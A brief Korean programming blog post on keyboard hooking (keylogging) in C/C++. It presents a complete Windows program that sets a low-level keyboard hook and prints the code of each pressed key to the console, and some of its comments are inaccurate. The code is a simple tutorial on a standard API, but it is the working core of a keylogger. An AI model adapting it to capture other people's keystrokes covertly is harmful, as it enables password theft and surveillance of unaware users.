• [C/C++] 키보드 후킹 (키로깅)
    프로그래밍/C++ 2019. 2. 18. 12:00
    728x90

    C/C++은 C#와는 다르게 후킹 과정이 굉장히 간단하다.

    #include <Windows.h>
    HHOOK hHook;
    
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            PKBDLLHOOKSTRUCT pKey = (PKBDLLHOOKSTRUCT)lParam;
    
            //Code가 0보다 클 때에만 처리해야합니다. 아닐 경우엔 메세지를 흘려보냅니다.(이유는 잘 모릅니다.)
            //wParam==256부분은, 키보드를 누르는 이벤트와 떼는 이벤트 중 누르는 이벤트만을 통과시킵니다.
            //만약 ==267로 바꿀 경우, 키보드를 땔 떼 코드가 실행됩니다.
            if (nCode >= 0 && (int)wParam == 256) {
                //lParam포인터가 가리키는 곳에서 키코드를 읽어 keyCheck로 보냅니다.
                cout << pKey->vkCode << " ";
            }
        }
        CallNextHookEx(hHook, nCode, wParam, lParam);
        return 0;
    }
    
    void SetHook() {
        HMODULE hInstance = GetModuleHandle(NULL);
        hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, hInstance, NULL);
    }
    
    void UnHook() {
        UnhookWindowsHookEx(hHook);
    }
    
    int main(){
        SetHook();
        MSG msg;
        GetMessage(&msg, NULL, NULL, NULL);
        UnHook();
    }

    728x90

    댓글

Copyright ⓒ syudal.tistory.com